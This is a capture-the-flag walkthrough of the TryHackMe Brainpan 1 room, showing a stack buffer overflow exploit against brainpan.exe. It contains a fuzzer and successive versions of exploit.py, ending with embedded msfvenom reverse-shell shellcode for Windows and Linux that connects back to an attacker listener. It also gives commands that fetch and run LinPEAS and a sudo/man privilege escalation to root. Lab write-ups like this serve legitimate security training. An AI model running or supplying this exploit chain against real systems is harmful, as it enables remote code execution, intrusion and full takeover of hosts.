Brainpan 1

Room Link: https://tryhackme.com/room/brainpan

Scanning

nmap -A $VICTIM

nmap -sV -sT -O -p 1-65535 $VICTIM

Abyss/TCP port 9999

Abyss appears to have a program running but we can't interact.

gobuster dir -u http://$VICTIM:9999 -w /usr/share/dirb/wordlists/big.txt -t 50

http/TCP port 10000

gobuster dir -u http://$VICTIM:10000 -w /usr/share/dirb/wordlists/big.txt -t 50

brainpan.exe file found.

Initial Shell

Test Machine

As we have the .exe we're going to test on our Windows lab machine.

xfreerdp /u:admin /p:password /cert:ignore /v:$TESTMACHINE /workarea  +clipboard
python2 -m SimpleHTTPServer 81

Crash Replication & Controlling EIP

I crashed the program by sending 1000 As

python -c 'print("A"* 1000)'
nc -v $TESTMACHINE 31337

fuzzer.py

#!/usr/bin/env python3

import socket, time, sys

try:
	ip = str(sys.argv[1])
	port = int(sys.argv[2])
	print (ip+":"+str(port))
	timeout = 5
	prefix = ""
	string = prefix + "A" * 100

	while True:
		try:
			with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
				s.settimeout(timeout)
				s.connect((ip, port))
				
				print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
				s.send(bytes(string, "latin-1"))

		except:
			print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
			sys.exit(0)
		string += 100 * "A"
		time.sleep(1)

except:
    print ("\nCould not connect!")
    sys.exit()

Fuzzer was able to crash the program around 1000 bytes so we got really lucky when we sent our As

python fuzzer.py $VICTIM 1337

/opt/metasploit-framework-5101/tools/exploit/pattern_create.rb -l 1000

exploit.py - Code Changes #1

I added the pattern_create output into the payload variable

import socket, time, sys

try:
	ip = str(sys.argv[1])
	port = int(sys.argv[2])
	print (ip+":"+str(port))

	prefix = ""
	offset = 0
	overflow = "A" * offset
	retn = ""
	padding = ""
	payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
	postfix = ""

	buffer = prefix + overflow + retn + padding + payload + postfix

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	try:
		s.connect((ip, port))
		print("Sending evil buffer...")
		s.send(bytes(buffer + "\r\n", "latin-1"))
		print("Done!")
	except:
 		print("Could not connect.")
except:
    print ("\nCould not connect!")
    sys.exit()

On kail run the exploit again then in mona run the following to get the offset for EIP. We were able to find the offset was 524.

Kali

python exploit.py $VICTIM 9999

Immunity Debugger

!mona findmsp -distance 1000

exploit.py - Code Changes #2

import socket, time, sys

try:
	ip = str(sys.argv[1])
	port = int(sys.argv[2])
	print (ip+":"+str(port))

	prefix = ""
	offset = 524
	overflow = "A" * offset
	retn = "BBBB"
	padding = ""
	payload = ""
	postfix = ""

	buffer = prefix + overflow + retn + padding + payload + postfix

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	try:
		s.connect((ip, port))
		print("Sending evil buffer...")
		s.send(bytes(buffer + "\r\n", "latin-1"))
		print("Done!")
	except:
 		print("Could not connect.")
except:
    print ("\nCould not connect!")
    sys.exit()

Kali

After running the program again we now can fill EIP with our Bs so we now have control of EIP.

python exploit.py $VICTIM 1337

Finding Bad Characters

Kali

Now we changed the program to look for bad characters so we don't later use those bad characters when generating our payload. We do this by setting our payload to all possible characters, than follow EIP to see which characters aren't showing up. To do this we just have to keep running our exploit and removing the bad characters one by one. We found no bad characters so we'll just add \x00.

exploit.py - Code Changes #3

import socket, time, sys

#Bad chars found: \x00
badChars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

try:
	ip = str(sys.argv[1])
	port = int(sys.argv[2])
	print (ip+":"+str(port))

	prefix = ""
	offset = 524
	overflow = "A" * offset
	retn = "BBBB"
	padding = ""
	payload = badChars
	postfix = ""

	buffer = prefix + overflow + retn + padding + payload + postfix

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	try:
		s.connect((ip, port))
		print("Sending evil buffer...")
		s.send(bytes(buffer + "\r\n", "latin-1"))
		print("Done!")
	except:
 		print("Could not connect.")
except:
    print ("\nCould not connect!")
    sys.exit()

Finding a Jump Point

Now we need to find a place to jump to to run our payload. We find there is only one place that will meets our conditions that we need which is an address with SafeSEH, ASLR, and NXCompat disabled and the memory address doesn't start with 0x00. ex: 0x0040000 won't work, 0x100000 will work. 0x311700000 is the only possible address to use.

Immunity Debugger

!mona modules

We find that brainpan.exe has only one possible JMP ESPs to use. So we will try 0x311712f3 but when we add it to our code we need it in little endian format so it becomes \xf3\x12\x17\31.

Immunity Debugger

!mona find -s "\xff\xe4" -m brainpan.exe

Exploit - Staging

Now that we have the return address to use, we just need to generate our payload without using the bad characters found previously. I also added 16 NOPs before the payload as suggested in the room. All that is left is to is to update our code with our payload and run it against the program.

msfvenom -p windows/shell_reverse_tcp LHOST=$KALI LPORT=4444 EXITFUNC=thread -b "\x00" -f c

exploit.py - Code Changes #4

import socket, time, sys

try:
	ip = str(sys.argv[1])
	port = int(sys.argv[2])
	print (ip+":"+str(port))

	prefix = ""
	offset = 524
	overflow = "A" * offset
	retn = "\xf3\x12\x17\x31"
	padding =  "\x90" * 16
	payload = ("\xbb\x27\x8f\x81\x23\xdb\xd8\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x52\x31\x5f\x12\x83\xef\xfc\x03\x78\x81\x63\xd6\x7a\x75\xe1"
"\x19\x82\x86\x86\x90\x67\xb7\x86\xc7\xec\xe8\x36\x83\xa0\x04"
"\xbc\xc1\x50\x9e\xb0\xcd\x57\x17\x7e\x28\x56\xa8\xd3\x08\xf9"
"\x2a\x2e\x5d\xd9\x13\xe1\x90\x18\x53\x1c\x58\x48\x0c\x6a\xcf"
"\x7c\x39\x26\xcc\xf7\x71\xa6\x54\xe4\xc2\xc9\x75\xbb\x59\x90"
"\x55\x3a\x8d\xa8\xdf\x24\xd2\x95\x96\xdf\x20\x61\x29\x09\x79"
"\x8a\x86\x74\xb5\x79\xd6\xb1\x72\x62\xad\xcb\x80\x1f\xb6\x08"
"\xfa\xfb\x33\x8a\x5c\x8f\xe4\x76\x5c\x5c\x72\xfd\x52\x29\xf0"
"\x59\x77\xac\xd5\xd2\x83\x25\xd8\x34\x02\x7d\xff\x90\x4e\x25"
"\x9e\x81\x2a\x88\x9f\xd1\x94\x75\x3a\x9a\x39\x61\x37\xc1\x55"
"\x46\x7a\xf9\xa5\xc0\x0d\x8a\x97\x4f\xa6\x04\x94\x18\x60\xd3"
"\xdb\x32\xd4\x4b\x22\xbd\x25\x42\xe1\xe9\x75\xfc\xc0\x91\x1d"
"\xfc\xed\x47\xb1\xac\x41\x38\x72\x1c\x22\xe8\x1a\x76\xad\xd7"
"\x3b\x79\x67\x70\xd1\x80\xe0\x75\x2c\x79\x4f\xe1\x32\x7d\xa1"
"\xae\xbb\x9b\xab\x5e\xea\x34\x44\xc6\xb7\xce\xf5\x07\x62\xab"
"\x36\x83\x81\x4c\xf8\x64\xef\x5e\x6d\x85\xba\x3c\x38\x9a\x10"
"\x28\xa6\x09\xff\xa8\xa1\x31\xa8\xff\xe6\x84\xa1\x95\x1a\xbe"
"\x1b\x8b\xe6\x26\x63\x0f\x3d\x9b\x6a\x8e\xb0\xa7\x48\x80\x0c"
"\x27\xd5\xf4\xc0\x7e\x83\xa2\xa6\x28\x65\x1c\x71\x86\x2f\xc8"
"\x04\xe4\xef\x8e\x08\x21\x86\x6e\xb8\x9c\xdf\x91\x75\x49\xe8"
"\xea\x6b\xe9\x17\x21\x28\x09\xfa\xe3\x45\xa2\xa3\x66\xe4\xaf"
"\x53\x5d\x2b\xd6\xd7\x57\xd4\x2d\xc7\x12\xd1\x6a\x4f\xcf\xab"
"\xe3\x3a\xef\x18\x03\x6f")
	postfix = ""

	buffer = prefix + overflow + retn + padding + payload + postfix

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	try:
		s.connect((ip, port))
		print("Sending evil buffer...")
		s.send(bytes(buffer + "\r\n", "latin-1"))
		print("Done!")
	except:
 		print("Could not connect.")
except:
    print ("\nCould not connect!")
    sys.exit()

Kali #1

nc -lvnp 4444

Kali #2

python exploit.py $TESTMACHINE 9999

Exploit - Production #1

The program worked against our staging environment so it should work against the actual box we're trying to exploit. It ends up working with exploit.py.

Kali #1

rlwrap nc -lvnp 4444

Kali #2

python exploit.py $VICTIM 9999

Exploit - Production #2

Shortly after exploring the Victims OS it had the directory of a Linux server. I realized that it was running.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=$KALI LPORT=4444 EXITFUNC=thread -b "\x00" -f c

exploit.py - Code Changes #4

import socket, time, sys

try:
	ip = str(sys.argv[1])
	port = int(sys.argv[2])
	print (ip+":"+str(port))

	prefix = ""
	offset = 524
	overflow = "A" * offset
	retn = "\xf3\x12\x17\x31"
	padding =  "\x90" * 16
	payload = ("\xd9\xc9\xd9\x74\x24\xf4\x5f\xba\xec\xbf\x44\xe4\x29\xc9\xb1"
"\x12\x31\x57\x17\x03\x57\x17\x83\x03\x43\xa6\x11\xea\x67\xd0"
"\x39\x5f\xdb\x4c\xd4\x5d\x52\x93\x98\x07\xa9\xd4\x4a\x9e\x81"
"\xea\xa1\xa0\xab\x6d\xc3\xc8\x21\x84\xc0\xb7\x5e\x9a\x26\xd6"
"\xc2\x13\xc7\x68\x9c\x73\x59\xdb\xd2\x77\xd0\x3a\xd9\xf8\xb0"
"\xd4\x8c\xd7\x47\x4c\x39\x07\x87\xee\xd0\xde\x34\xbc\x71\x68"
"\x5b\xf0\x7d\xa7\x1c")
	postfix = ""

	buffer = prefix + overflow + retn + padding + payload + postfix

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	try:
		s.connect((ip, port))
		print("Sending evil buffer...")
		s.send(bytes(buffer + "\r\n", "latin-1"))
		print("Done!")
	except:
 		print("Could not connect.")
except:
    print ("\nCould not connect!")
    sys.exit()

Kali #1

nc -lvnp 4444

Kali #2

python exploit.py $VICTIM 9999

Victim

python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg

Transfer LinPeas

I tried transfering LinPeas but it didn't end up really using anything from the output.

Kali

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 
python2 -m SimpleHTTPServer 81

Victim

wget http://10.10.243.191:81/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Privilege Escalation

We discovered we can run the command anansi_util as sudo without a password. gtfobins showed a way to become root if we can run manual which the program allowed us to do.

Exploit: https://gtfobins.github.io/gtfobins/man/

sudo -l
sudo /home/anansi/bin/anansi_util manual

We are able to run the commands mentioned on gtfobins and get a root shell.

sudo /home/anansi/bin/anansi_util manual man
!/bin/sh
whoami